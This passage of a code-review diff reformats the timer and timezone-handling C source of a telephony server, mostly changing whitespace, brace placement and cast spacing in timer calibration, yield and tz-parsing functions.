</span><span class="cx">         int x = 0;
</span><span class="cx">         switch_time_t start, stop, sum = 0;
</span><span class="cx"> 
</span><del>-        for(x = 0; x &lt; reps; x++) {
</del><ins>+        for (x = 0; x &lt; reps; x++) {
</ins><span class="cx">                 start = switch_time_now();
</span><span class="cx">                 do_sleep(t);
</span><span class="cx">                 stop = switch_time_now();
</span><span class="lines">@@ -173,7 +173,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         return sum / reps;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #define calc_step() if (step &gt; 11) step -= 10; else if (step &gt; 1) step--
</span><span class="lines">@@ -196,29 +196,29 @@
</span><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>- top:
</del><ins>+  top:
</ins><span class="cx">         val = 1000;
</span><span class="cx">         step = 50;
</span><span class="cx">         over = under = good = 0;
</span><span class="cx">         OFFSET = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = 0; x &lt; 100; x++) {
</span><span class="cx">                 avg = average_time(val, 50);
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Test: %ld Average: %ld Step: %d\n&quot;, (long)val, (long)avg, step);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Test: %ld Average: %ld Step: %d\n&quot;, (long) val, (long) avg, step);
</ins><span class="cx"> 
</span><del>-                diff = abs((int)(want - avg));
</del><ins>+                diff = abs((int) (want - avg));
</ins><span class="cx">                 if (diff &gt; 1500) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
</ins><span class="cx">                                                           &quot;Abnormally large timer gap %d detected!\n&quot;
</span><span class="cx">                                                           &quot;Do you have your kernel timer set to higher than 1 kHz? You may experience audio problems.\n&quot;, diff);
</span><span class="cx">                         do_sleep(5000000);
</span><span class="cx">                         switch_time_set_cond_yield(SWITCH_TRUE);
</span><span class="cx">                         return;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (diff &lt;= 100) {
</span><span class="cx">                         lastgood = (int) val;
</span><del>-                } 
</del><ins>+                }
</ins><span class="cx"> 
</span><span class="cx">                 if (diff &lt;= 2) {
</span><span class="cx">                         under = over = 0;
</span><span class="lines">@@ -227,19 +227,25 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 } else if (avg &gt; want) {
</span><del>-                        if (under) {calc_step();}
</del><ins>+                        if (under) {
+                                calc_step();
+                        }
</ins><span class="cx">                         under = good = 0;
</span><span class="cx">                         if ((val - step) &lt; 0) {
</span><del>-                                if (++retry &gt; 2) break;
</del><ins>+                                if (++retry &gt; 2)
+                                        break;
</ins><span class="cx">                                 goto top;
</span><span class="cx">                         }
</span><span class="cx">                         val -= step;
</span><span class="cx">                         over++;
</span><span class="cx">                 } else if (avg &lt; want) {
</span><del>-                        if (over) {calc_step();}
</del><ins>+                        if (over) {
+                                calc_step();
+                        }
</ins><span class="cx">                         over = good = 0;
</span><span class="cx">                         if ((val - step) &lt; 0) {
</span><del>-                                if (++retry &gt; 2) break;
</del><ins>+                                if (++retry &gt; 2)
+                                        break;
</ins><span class="cx">                                 goto top;
</span><span class="cx">                         }
</span><span class="cx">                         val += step;
</span><span class="lines">@@ -248,10 +254,10 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (good &gt;= 10) {
</span><del>-                OFFSET = (int)(want - val);
</del><ins>+                OFFSET = (int) (want - val);
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Timer offset of %d calculated\n&quot;, OFFSET);
</span><span class="cx">         } else if (lastgood) {
</span><del>-                OFFSET = (int)(want - lastgood);
</del><ins>+                OFFSET = (int) (want - lastgood);
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Timer offset of %d calculated (fallback)\n&quot;, OFFSET);
</span><span class="cx">                 switch_time_set_cond_yield(SWITCH_TRUE);
</span><span class="cx">         } else {
</span><span class="lines">@@ -291,7 +297,7 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_time_set_nanosleep(switch_bool_t enable)
</span><span class="cx"> {
</span><del>-#if defined(HAVE_CLOCK_NANOSLEEP) 
</del><ins>+#if defined(HAVE_CLOCK_NANOSLEEP)
</ins><span class="cx">         NANO = enable ? 1 : 0;
</span><span class="cx"> #endif
</span><span class="cx"> }
</span><span class="lines">@@ -344,13 +350,12 @@
</span><span class="cx">                 do_sleep(t);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifndef DISABLE_1MS_COND
</span><span class="cx">         if (globals.use_cond_yield == 1) {
</span><span class="cx">                 switch_cond_yield(t);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-#endif        
</del><ins>+#endif
</ins><span class="cx"> 
</span><span class="cx">         do_sleep(t);
</span><span class="cx"> }
</span><span class="lines">@@ -362,7 +367,6 @@
</span><span class="cx">                 os_yield();
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef DISABLE_1MS_COND
</span><span class="cx">         do_sleep(1000);
</span><span class="cx"> #else
</span><span class="lines">@@ -379,14 +383,15 @@
</span><span class="cx"> SWITCH_DECLARE(void) switch_cond_yield(switch_interval_time_t t)
</span><span class="cx"> {
</span><span class="cx">         switch_time_t want;
</span><del>-        if (!t) return;
</del><ins>+        if (!t)
+                return;
</ins><span class="cx"> 
</span><span class="cx">         if (globals.RUNNING != 1 || !runtime.timestamp || globals.use_cond_yield != 1) {
</span><span class="cx">                 do_sleep(t);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx">         want = runtime.timestamp + t;
</span><del>-        while(globals.RUNNING == 1 &amp;&amp; globals.use_cond_yield == 1 &amp;&amp; runtime.timestamp &lt; want) {
</del><ins>+        while (globals.RUNNING == 1 &amp;&amp; globals.use_cond_yield == 1 &amp;&amp; runtime.timestamp &lt; want) {
</ins><span class="cx">                 switch_mutex_lock(TIMER_MATRIX[1].mutex);
</span><span class="cx">                 if (runtime.timestamp &lt; want) {
</span><span class="cx">                         switch_thread_cond_wait(TIMER_MATRIX[1].cond, TIMER_MATRIX[1].mutex);
</span><span class="lines">@@ -499,10 +504,10 @@
</span><span class="cx"> #else
</span><span class="cx">         int cond_index = 1;
</span><span class="cx"> #endif
</span><del>-        int delta = (int)(private_info-&gt;reference - TIMER_MATRIX[timer-&gt;interval].tick);
</del><ins>+        int delta = (int) (private_info-&gt;reference - TIMER_MATRIX[timer-&gt;interval].tick);
</ins><span class="cx"> 
</span><span class="cx">         /* sync up timer if it's not been called for a while otherwise it will return instantly several times until it catches up */
</span><del>-        if (delta &lt; -1) { 
</del><ins>+        if (delta &lt; -1) {
</ins><span class="cx">                 private_info-&gt;reference = timer-&gt;tick = TIMER_MATRIX[timer-&gt;interval].tick;
</span><span class="cx">         }
</span><span class="cx">         timer_step(timer);
</span><span class="lines">@@ -514,14 +519,14 @@
</span><span class="cx"> 
</span><span class="cx">         while (globals.RUNNING == 1 &amp;&amp; private_info-&gt;ready &amp;&amp; TIMER_MATRIX[timer-&gt;interval].tick &lt; private_info-&gt;reference) {
</span><span class="cx">                 check_roll();
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (session_manager.session_count &gt; runtime.tipping_point) {
</span><span class="cx">                         os_yield();
</span><span class="cx">                 } else {
</span><span class="cx">                         if (globals.use_cond_yield == 1) {
</span><span class="cx">                                 switch_mutex_lock(TIMER_MATRIX[cond_index].mutex);
</span><span class="cx">                                 if (TIMER_MATRIX[timer-&gt;interval].tick &lt; private_info-&gt;reference) {
</span><del>-                                        switch_thread_cond_wait(TIMER_MATRIX[cond_index].cond, TIMER_MATRIX[cond_index].mutex);        
</del><ins>+                                        switch_thread_cond_wait(TIMER_MATRIX[cond_index].cond, TIMER_MATRIX[cond_index].mutex);
</ins><span class="cx">                                 }
</span><span class="cx">                                 switch_mutex_unlock(TIMER_MATRIX[cond_index].mutex);
</span><span class="cx">                         } else {
</span><span class="lines">@@ -530,7 +535,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx">         return globals.RUNNING == 1 ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -633,10 +638,10 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         switch_time_sync();
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.use_cond_yield = COND;
</span><span class="cx">         globals.RUNNING = 1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (globals.RUNNING == 1) {
</span><span class="cx">                 runtime.reference += STEP_MIC;
</span><span class="cx">                 while ((ts = time_now(runtime.offset)) &lt; runtime.reference) {
</span><span class="lines">@@ -705,7 +710,6 @@
</span><span class="cx">                         switch_mutex_unlock(runtime.throttle_mutex);
</span><span class="cx">                         tick = 0;
</span><span class="cx">                 }
</span><del>-
</del><span class="cx"> #ifndef DISABLE_1MS_COND
</span><span class="cx">                 TIMER_MATRIX[1].tick++;
</span><span class="cx">                 if (switch_mutex_trylock(TIMER_MATRIX[1].mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -725,12 +729,11 @@
</span><span class="cx">                                         if (TIMER_MATRIX[x].count) {
</span><span class="cx">                                                 TIMER_MATRIX[x].tick++;
</span><span class="cx"> #ifdef DISABLE_1MS_COND
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (TIMER_MATRIX[x].mutex &amp;&amp; switch_mutex_trylock(TIMER_MATRIX[x].mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_thread_cond_broadcast(TIMER_MATRIX[x].cond);
</span><span class="cx">                                                         switch_mutex_unlock(TIMER_MATRIX[x].mutex);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><span class="cx"> #endif
</span><span class="cx">                                                 if (TIMER_MATRIX[x].tick == MAX_TICK) {
</span><span class="cx">                                                         TIMER_MATRIX[x].tick = 0;
</span><span class="lines">@@ -747,7 +750,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         globals.use_cond_yield = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = MS_PER_TICK; x &lt;= MAX_ELEMENTS; x += MS_PER_TICK) {
</span><span class="cx">                 if (TIMER_MATRIX[x].mutex &amp;&amp; switch_mutex_trylock(TIMER_MATRIX[x].mutex) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_thread_cond_broadcast(TIMER_MATRIX[x].cond);
</span><span class="lines">@@ -771,26 +774,26 @@
</span><span class="cx">    and use switch_* functions for the output.
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-static void tm2switchtime(struct tm * tm, switch_time_exp_t *xt ) 
</del><ins>+static void tm2switchtime(struct tm *tm, switch_time_exp_t *xt)
</ins><span class="cx"> {
</span><span class="cx"> 
</span><span class="cx">         if (!xt || !tm) {
</span><del>-            return;
</del><ins>+                return;
</ins><span class="cx">         }
</span><del>-        memset( xt, 0, sizeof(xt) );
</del><ins>+        memset(xt, 0, sizeof(xt));
</ins><span class="cx"> 
</span><del>-        xt-&gt;tm_sec          = tm-&gt;tm_sec;
-        xt-&gt;tm_min          = tm-&gt;tm_min;
-        xt-&gt;tm_hour         = tm-&gt;tm_hour;
-        xt-&gt;tm_mday         = tm-&gt;tm_mday;
-        xt-&gt;tm_mon          = tm-&gt;tm_mon;
-        xt-&gt;tm_year         = tm-&gt;tm_year;
-        xt-&gt;tm_wday         = tm-&gt;tm_wday;
-        xt-&gt;tm_yday         = tm-&gt;tm_yday;
-        xt-&gt;tm_isdst         = tm-&gt;tm_isdst;
</del><ins>+        xt-&gt;tm_sec = tm-&gt;tm_sec;
+        xt-&gt;tm_min = tm-&gt;tm_min;
+        xt-&gt;tm_hour = tm-&gt;tm_hour;
+        xt-&gt;tm_mday = tm-&gt;tm_mday;
+        xt-&gt;tm_mon = tm-&gt;tm_mon;
+        xt-&gt;tm_year = tm-&gt;tm_year;
+        xt-&gt;tm_wday = tm-&gt;tm_wday;
+        xt-&gt;tm_yday = tm-&gt;tm_yday;
+        xt-&gt;tm_isdst = tm-&gt;tm_isdst;
</ins><span class="cx"> 
</span><span class="cx"> #if defined(HAVE_STRUCT_TM_TM_GMTOFF)
</span><del>-        xt-&gt;tm_gmtoff         = tm-&gt;tm_gmtoff;
</del><ins>+        xt-&gt;tm_gmtoff = tm-&gt;tm_gmtoff;
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><span class="cx">         return;
</span><span class="lines">@@ -808,14 +811,14 @@
</span><span class="cx"> static switch_timezones_list_t TIMEZONES_LIST = { 0 };
</span><span class="cx"> static switch_event_node_t *NODE = NULL;
</span><span class="cx"> 
</span><del>-const char *switch_lookup_timezone( const char *tz_name )
</del><ins>+const char *switch_lookup_timezone(const char *tz_name)
</ins><span class="cx"> {
</span><span class="cx">         char *value = NULL;
</span><span class="cx"> 
</span><del>-        if ( tz_name &amp;&amp; (value = switch_core_hash_find(TIMEZONES_LIST.hash, tz_name))==NULL ) {
-            switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Timezone '%s' not found!\n&quot;, tz_name);
</del><ins>+        if (tz_name &amp;&amp; (value = switch_core_hash_find(TIMEZONES_LIST.hash, tz_name)) == NULL) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Timezone '%s' not found!\n&quot;, tz_name);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return value;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -840,7 +843,7 @@
</span><span class="cx">                 if ((x_lists = switch_xml_child(cfg, &quot;timezones&quot;))) {
</span><span class="cx">                         for (x_list = switch_xml_child(x_lists, &quot;zone&quot;); x_list; x_list = x_list-&gt;next) {
</span><span class="cx">                                 const char *name = switch_xml_attr(x_list, &quot;name&quot;);
</span><del>-                                const char *value= switch_xml_attr(x_list, &quot;value&quot;);
</del><ins>+                                const char *value = switch_xml_attr(x_list, &quot;value&quot;);
</ins><span class="cx"> 
</span><span class="cx">                                 if (zstr(name)) {
</span><span class="cx">                                         continue;
</span><span class="lines">@@ -850,16 +853,14 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><del>-                                switch_core_hash_insert(TIMEZONES_LIST.hash, 
-                                                                                name, 
-                                                                                switch_core_strdup(TIMEZONES_LIST.pool, value) );
</del><ins>+                                switch_core_hash_insert(TIMEZONES_LIST.hash, name, switch_core_strdup(TIMEZONES_LIST.pool, value));
</ins><span class="cx">                                 total++;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;Timezone %sloaded %d definitions\n&quot;, reload ? &quot;re&quot; : &quot;&quot;, total);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -870,7 +871,7 @@
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void tztime(const time_t * const timep, const char *tzstring, struct tm * const tmp );
</del><ins>+static void tztime(const time_t *const timep, const char *tzstring, struct tm *const tmp);
</ins><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_status_t) switch_time_exp_tz_name(const char *tz, switch_time_exp_t *tm, switch_time_t thetime)
</span><span class="cx"> {
</span><span class="lines">@@ -878,24 +879,24 @@
</span><span class="cx">         const char *tz_name = tz;
</span><span class="cx">         const char *tzdef;
</span><span class="cx">         time_t timep;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!thetime) {
</span><span class="cx">                 thetime = switch_micro_time_now();
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        timep =  (thetime) / (int64_t) (1000000);
</del><ins>+        timep = (thetime) / (int64_t) (1000000);
</ins><span class="cx"> 
</span><span class="cx">         if (!zstr(tz_name)) {
</span><del>-                tzdef = switch_lookup_timezone( tz_name );
</del><ins>+                tzdef = switch_lookup_timezone(tz_name);
</ins><span class="cx">         } else {
</span><span class="cx">                 /* We set the default timezone to GMT. */
</span><del>-                tz_name=&quot;GMT&quot;;
-                tzdef=&quot;GMT&quot;;
</del><ins>+                tz_name = &quot;GMT&quot;;
+                tzdef = &quot;GMT&quot;;
</ins><span class="cx">         }
</span><del>-        
-        if (tzdef) { /* The lookup of the zone may fail. */
-                tztime( &amp;timep, tzdef, &amp;xtm );
-                tm2switchtime( &amp;xtm, tm);
</del><ins>+
+        if (tzdef) {                                /* The lookup of the zone may fail. */
+                tztime(&amp;timep, tzdef, &amp;xtm);
+                tm2switchtime(&amp;xtm, tm);
</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -919,19 +920,19 @@
</span><span class="cx">                 thetime = switch_micro_time_now();
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        timep =  (thetime) / (int64_t) (1000000);
</del><ins>+        timep = (thetime) / (int64_t) (1000000);
</ins><span class="cx"> 
</span><span class="cx">         if (!zstr(tz_name)) {
</span><del>-                tzdef = switch_lookup_timezone( tz_name );
</del><ins>+                tzdef = switch_lookup_timezone(tz_name);
</ins><span class="cx">         } else {
</span><span class="cx">                 /* We set the default timezone to GMT. */
</span><del>-                tz_name=&quot;GMT&quot;;
-                tzdef=&quot;GMT&quot;;
</del><ins>+                tz_name = &quot;GMT&quot;;
+                tzdef = &quot;GMT&quot;;
</ins><span class="cx">         }
</span><del>-        
-        if (tzdef) { /* The lookup of the zone may fail. */
-                tztime( &amp;timep, tzdef, &amp;tm );
-                tm2switchtime( &amp;tm, &amp;stm );
</del><ins>+
+        if (tzdef) {                                /* The lookup of the zone may fail. */
+                tztime(&amp;timep, tzdef, &amp;tm);
+                tm2switchtime(&amp;tm, &amp;stm);
</ins><span class="cx">                 switch_strftime_nocheck(date, &amp;retsize, len, zstr(format) ? &quot;%Y-%m-%d %T&quot; : format, &amp;stm);
</span><span class="cx">                 if (!zstr_buf(date)) {
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -948,7 +949,7 @@
</span><span class="cx"> #if defined(WIN32)
</span><span class="cx">         timeBeginPeriod(1);
</span><span class="cx"> #endif
</span><del>-        
</del><ins>+
</ins><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><span class="cx">         switch_mutex_init(&amp;globals.mutex, SWITCH_MUTEX_NESTED, module_pool);
</span><span class="cx"> 
</span><span class="lines">@@ -971,7 +972,7 @@
</span><span class="cx">         if (!switch_test_flag((&amp;runtime), SCF_USE_CLOCK_RT)) {
</span><span class="cx">                 switch_time_set_nanosleep(SWITCH_FALSE);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag((&amp;runtime), SCF_USE_COND_TIMING)) {
</span><span class="cx">                 switch_time_set_cond_yield(SWITCH_TRUE);
</span><span class="cx">         }
</span><span class="lines">@@ -1062,7 +1063,7 @@
</span><span class="cx"> #ifndef TZ_MAX_TYPES
</span><span class="cx"> 
</span><span class="cx"> #ifndef NOSOLAR
</span><del>-#define TZ_MAX_TYPES        256 /* Limited by what (unsigned char)'s can hold */
</del><ins>+#define TZ_MAX_TYPES        256                /* Limited by what (unsigned char)'s can hold */
</ins><span class="cx"> #endif /* !defined NOSOLAR */
</span><span class="cx"> 
</span><span class="cx"> #ifdef NOSOLAR
</span><span class="lines">@@ -1070,18 +1071,18 @@
</span><span class="cx"> ** Must be at least 14 for Europe/Riga as of Jan 12 1995,
</span><span class="cx"> ** as noted by Earl Chew &lt;earl@hpato.aus.hp.com&gt;.
</span><span class="cx"> */
</span><del>-#define TZ_MAX_TYPES        20        /* Maximum number of local time types */
</del><ins>+#define TZ_MAX_TYPES        20                /* Maximum number of local time types */
</ins><span class="cx"> #endif /* !defined NOSOLAR */
</span><span class="cx"> 
</span><span class="cx"> #endif /* !defined TZ_MAX_TYPES */
</span><span class="cx"> 
</span><span class="cx"> #ifndef TZ_MAX_CHARS
</span><del>-#define TZ_MAX_CHARS        50        /* Maximum number of abbreviation characters */
</del><ins>+#define TZ_MAX_CHARS        50                /* Maximum number of abbreviation characters */
</ins><span class="cx">                                 /* (limited by what unsigned chars can hold) */
</span><span class="cx"> #endif /* !defined TZ_MAX_CHARS */
</span><span class="cx"> 
</span><span class="cx"> #ifndef TZ_MAX_LEAPS
</span><del>-#define TZ_MAX_LEAPS        50        /* Maximum number of leap second corrections */
</del><ins>+#define TZ_MAX_LEAPS        50                /* Maximum number of leap second corrections */
</ins><span class="cx"> #endif /* !defined TZ_MAX_LEAPS */
</span><span class="cx"> 
</span><span class="cx"> #ifdef TZNAME_MAX
</span><span class="lines">@@ -1103,8 +1104,8 @@
</span><span class="cx"> #define SECSPERDAY        ((long) SECSPERHOUR * HOURSPERDAY)
</span><span class="cx"> #define MONSPERYEAR        12
</span><span class="cx"> 
</span><del>-#define JULIAN_DAY                0        /* Jn - Julian day */
-#define DAY_OF_YEAR                1        /* n - day of year */
</del><ins>+#define JULIAN_DAY                0                /* Jn - Julian day */
+#define DAY_OF_YEAR                1                /* n - day of year */
</ins><span class="cx"> #define MONTH_NTH_DAY_OF_WEEK        2        /* Mm.n.d - month, week, day of week */
</span><span class="cx"> 
</span><span class="cx"> #define EPOCH_YEAR        1970
</span><span class="lines">@@ -1204,51 +1205,51 @@
</span><span class="cx">             
</span><span class="cx">    ************************************************************************** */
</span><span class="cx"> 
</span><del>-static const char        gmt[] = &quot;GMT&quot;;
</del><ins>+static const char gmt[] = &quot;GMT&quot;;
</ins><span class="cx"> 
</span><span class="cx"> #define CHARS_DEF BIGGEST(BIGGEST(TZ_MAX_CHARS + 1, sizeof gmt), (2 * (MY_TZNAME_MAX + 1)))
</span><span class="cx"> 
</span><span class="cx"> struct rule {
</span><del>-        int                r_type;                /* type of rule--see below */
-        int                r_day;                /* day number of rule */
-        int                r_week;                /* week number of rule */
-        int                r_mon;                /* month number of rule */
-        long                r_time;                /* transition time of rule */
</del><ins>+        int r_type;                                        /* type of rule--see below */
+        int r_day;                                        /* day number of rule */
+        int r_week;                                        /* week number of rule */
+        int r_mon;                                        /* month number of rule */
+        long r_time;                                /* transition time of rule */
</ins><span class="cx"> };
</span><span class="cx"> 
</span><del>-struct ttinfo {                                /* time type information */
-        long                tt_gmtoff;        /* UTC offset in seconds */
-        int                tt_isdst;        /* used to set tm_isdst */
-        int                tt_abbrind;        /* abbreviation list index */
-        int                tt_ttisstd;        /* TRUE if transition is std time */
-        int                tt_ttisgmt;        /* TRUE if transition is UTC */
</del><ins>+struct ttinfo {                                        /* time type information */
+        long tt_gmtoff;                                /* UTC offset in seconds */
+        int tt_isdst;                                /* used to set tm_isdst */
+        int tt_abbrind;                                /* abbreviation list index */
+        int tt_ttisstd;                                /* TRUE if transition is std time */
+        int tt_ttisgmt;                                /* TRUE if transition is UTC */
</ins><span class="cx"> };
</span><span class="cx"> 
</span><del>-struct lsinfo {                                /* leap second information */
-        time_t                ls_trans;        /* transition time */
-        long                ls_corr;        /* correction to apply */
</del><ins>+struct lsinfo {                                        /* leap second information */
+        time_t ls_trans;                        /* transition time */
+        long ls_corr;                                /* correction to apply */
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> struct state {
</span><del>-        int                leapcnt;
-        int                timecnt;
-        int                typecnt;
-        int                charcnt;
-        time_t                ats[TZ_MAX_TIMES];
-        unsigned char        types[TZ_MAX_TIMES];
-        struct ttinfo        ttis[TZ_MAX_TYPES];
-        char                chars[/* LINTED constant */CHARS_DEF];
-        struct lsinfo        lsis[TZ_MAX_LEAPS];
</del><ins>+        int leapcnt;
+        int timecnt;
+        int typecnt;
+        int charcnt;
+        time_t ats[TZ_MAX_TIMES];
+        unsigned char types[TZ_MAX_TIMES];
+        struct ttinfo ttis[TZ_MAX_TYPES];
+        char chars[ /* LINTED constant */ CHARS_DEF];
+        struct lsinfo lsis[TZ_MAX_LEAPS];
</ins><span class="cx"> };
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static const int        mon_lengths[2][MONSPERYEAR] = {
-        { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 },
-        { 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 }
</del><ins>+static const int mon_lengths[2][MONSPERYEAR] = {
+        {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31},
+        {31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}
</ins><span class="cx"> };
</span><span class="cx"> 
</span><del>-static const int        year_lengths[2] = {
</del><ins>+static const int year_lengths[2] = {
</ins><span class="cx">         DAYSPERNYEAR, DAYSPERLYEAR
</span><span class="cx"> };
</span><span class="cx"> 
</span><span class="lines">@@ -1268,9 +1269,8 @@
</span><span class="cx"> {
</span><span class="cx">         register char c;
</span><span class="cx"> 
</span><del>-        while ((c = *strp) != '\0' &amp;&amp; !is_digit(c) &amp;&amp; c != ',' &amp;&amp; c != '-' &amp;&amp;
-                c != '+')
-                        ++strp;
</del><ins>+        while ((c = *strp) != '\0' &amp;&amp; !is_digit(c) &amp;&amp; c != ',' &amp;&amp; c != '-' &amp;&amp; c != '+')
+                ++strp;
</ins><span class="cx">         return strp;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1282,10 +1282,10 @@
</span><span class="cx">     Otherwise, return a pointer to the first character not part of the number.
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-static const char *getnum(register const char *strp, int * const nump, const int min, const int max)
</del><ins>+static const char *getnum(register const char *strp, int *const nump, const int min, const int max)
</ins><span class="cx"> {
</span><del>-        register char        c;
-        register int        num;
</del><ins>+        register char c;
+        register int num;
</ins><span class="cx"> 
</span><span class="cx">         if (strp == NULL || !is_digit(c = *strp))
</span><span class="cx">                 return NULL;
</span><span class="lines">@@ -1293,11 +1293,11 @@
</span><span class="cx">         do {
</span><span class="cx">                 num = num * 10 + (c - '0');
</span><span class="cx">                 if (num &gt; max)
</span><del>-                        return NULL;        /* illegal value */
</del><ins>+                        return NULL;                /* illegal value */
</ins><span class="cx">                 c = *++strp;
</span><span class="cx">         } while (is_digit(c));
</span><span class="cx">         if (num &lt; min)
</span><del>-                return NULL;                /* illegal value */
</del><ins>+                return NULL;                        /* illegal value */
</ins><span class="cx">         *nump = num;
</span><span class="cx">         return strp;
</span><span class="cx"> }
</span><span class="lines">@@ -1310,16 +1310,16 @@
</span><span class="cx">     of seconds.
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-static const char *getsecs(register const char *strp, long * const secsp)
</del><ins>+static const char *getsecs(register const char *strp, long *const secsp)
</ins><span class="cx"> {
</span><del>-        int        num;
</del><ins>+        int num;
</ins><span class="cx"> 
</span><span class="cx">         /*
</span><del>-        ** `HOURSPERDAY * DAYSPERWEEK - 1' allows quasi-Posix rules like
-        ** &quot;M10.4.6/26&quot;, which does not conform to Posix,
-        ** but which specifies the equivalent of
-        ** ``02:00 on the first Sunday on or after 23 Oct''.
-        */
</del><ins>+         ** `HOURSPERDAY * DAYSPERWEEK - 1' allows quasi-Posix rules like
+         ** &quot;M10.4.6/26&quot;, which does not conform to Posix,
+         ** but which specifies the equivalent of
+         ** ``02:00 on the first Sunday on or after 23 Oct''.
+         */
</ins><span class="cx">         strp = getnum(strp, &amp;num, 0, HOURSPERDAY * DAYSPERWEEK - 1);
</span><span class="cx">         if (strp == NULL)
</span><span class="cx">                 return NULL;
</span><span class="lines">@@ -1349,9 +1349,9 @@
</span><span class="cx">     Otherwise, return a pointer to the first character not part of the time.
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-static const char *getoffset(register const char *strp, long * const offsetp)
</del><ins>+static const char *getoffset(register const char *strp, long *const offsetp)
</ins><span class="cx"> {
</span><del>-        register int        neg = 0;
</del><ins>+        register int neg = 0;
</ins><span class="cx"> 
</span><span class="cx">         if (*strp == '-') {
</span><span class="cx">                 neg = 1;
</span><span class="lines">@@ -1360,7 +1360,7 @@
</span><span class="cx">                 ++strp;
</span><span class="cx">         strp = getsecs(strp, offsetp);
</span><span class="cx">         if (strp == NULL)
</span><del>-                return NULL;                /* illegal time */
</del><ins>+                return NULL;                        /* illegal time */
</ins><span class="cx">         if (neg)
</span><span class="cx">                 *offsetp = -*offsetp;
</span><span class="cx">         return strp;
</span><span class="lines">@@ -1373,19 +1373,19 @@
</span><span class="cx">     Otherwise, return a pointer to the first character not part of the rule.
</span><span class="cx"> */
</span><span class="cx"> 
</span><del>-static const char *getrule(const char *strp, register struct rule * const rulep)
</del><ins>+static const char *getrule(const char *strp, register struct rule *const rulep)
</ins><span class="cx"> {
</span><span class="cx">         if (*strp == 'J') {
</span><span class="cx">                 /*
</span><del>-                ** Julian day.
-                */
</del><ins>+                 ** Julian day.
+                 */
</ins><span class="cx">                 rulep-&gt;r_type = JULIAN_DAY;
</span><span class="cx">                 ++strp;
</span><span class="cx">                 strp = getnum(strp, &amp;rulep-&gt;r_day, 1, DAYSPERNYEAR);
